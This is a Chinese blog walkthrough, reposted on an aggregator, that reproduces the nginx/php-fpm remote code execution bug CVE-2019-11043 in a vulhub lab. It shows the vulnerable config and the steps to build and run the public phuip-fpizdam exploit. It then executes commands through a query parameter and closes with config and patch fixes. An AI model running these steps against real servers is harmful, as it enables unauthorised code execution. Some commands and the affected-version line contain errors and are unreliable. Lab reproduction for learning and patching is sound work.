ICode9

精准搜索请尝试: 精确搜索
首页 > 系统相关> 文章详细

CVE-2019-11043 php-fpm和nginx RCE漏洞复现

2021-04-17 10:57:39  阅读:648  来源: 互联网

标签:漏洞 fpm nginx path go PATH php fastcgi


目录

漏洞概述

Nginx 上 fastcgi_split_path_info 在处理带有 %0a 的请求时,会因为遇到换行符 \n 导致 PATH_INFO 为空。而 php-fpm 在处理 PATH_INFO 为空的情况下,存在逻辑缺陷。攻击者通过精心的构造和利用,可以导致远程代码执行。


影响版本

Nginx + php-fpm 的服务器,在使用如下配置的情况下,都可能存在远程代码执行漏洞。
不可以远程代码执行:PHP 7.0/7.1/7.2/7.3

location ~ [^/]\.php(/|$) {
        ···
        fastcgi_split_path_info ^(.+?\.php)(/.*)$;
        fastcgi_param PATH_INFO       $fastcgi_path_info;
        fastcgi_pass   php:9000;
        ...
  }
}

漏洞复现

vulhub 靶机一台:192.168.56.136
kali 攻击机一台:192.168.56.133

环境启动

cd vulhub/php/CVE-2019-11043/
docker-compose up -d

在这里插入图片描述
Web访问如下:
在这里插入图片描述


代码执行

1.kali需按照go语言环境,如已安装好 go 语言环境可跳过此步骤。
访问:go语言环境下载
-下载二进制包:go.1.4.linux-amd64.tar.gz

-将下载的二进制包解压至 /usr/local 目录下。

tar -C /usr/loacl -zxf go.1.4.linux-amd64.tar.gz

-将 /usr/local/go/bin 目录添加至PATH环境变量。

export PATH-$PATH:/usr/local/go/bin

2.下载命令执行的POC

git clone https://github.com/neex/phuip-fpizdam  //下载POC
cd /phuip-fpizdam
go build    //go build 进行编译
ls  //出现phuip-fpizdam 可执行文件为编译成功

在这里插入图片描述
注:如果编译失败,显示timeout,需要挂代理,然后执行以下语言添加关机变量。

export GOPROXY=https://goproxy.io

3.使用phuip-fpizdam发送数据包,同时访问web页面。

./phuip-fpizdam http://192.168.56.136:8080/index.php

访问:http://192.168.56.136:8080/index.php?a=whoami
命令执行成功:
在这里插入图片描述
注:如果命令没有执行成功,需多访问几次,因为php-fpm会启动多个子进程,以访问到被污染的进程。


漏洞修复

  • 在不影响正常业务的情况下,删除 Nginx 配置文件中的如下配置:
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO  $fastcgi_path_info;
  • 漏洞补丁:
https://bugs.php.net/patch-display.php?bug_id=78599&patch=0001-Fix-bug-78599-env_path_info-underflow-can-lead-to-RC.patch&revision=latest

参考文章:
Timeline Sec 微信公众号漏洞复现文章合集

标签:漏洞,fpm,nginx,path,go,PATH,php,fastcgi
来源: https://blog.csdn.net/Trouble_99/article/details/115790120

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有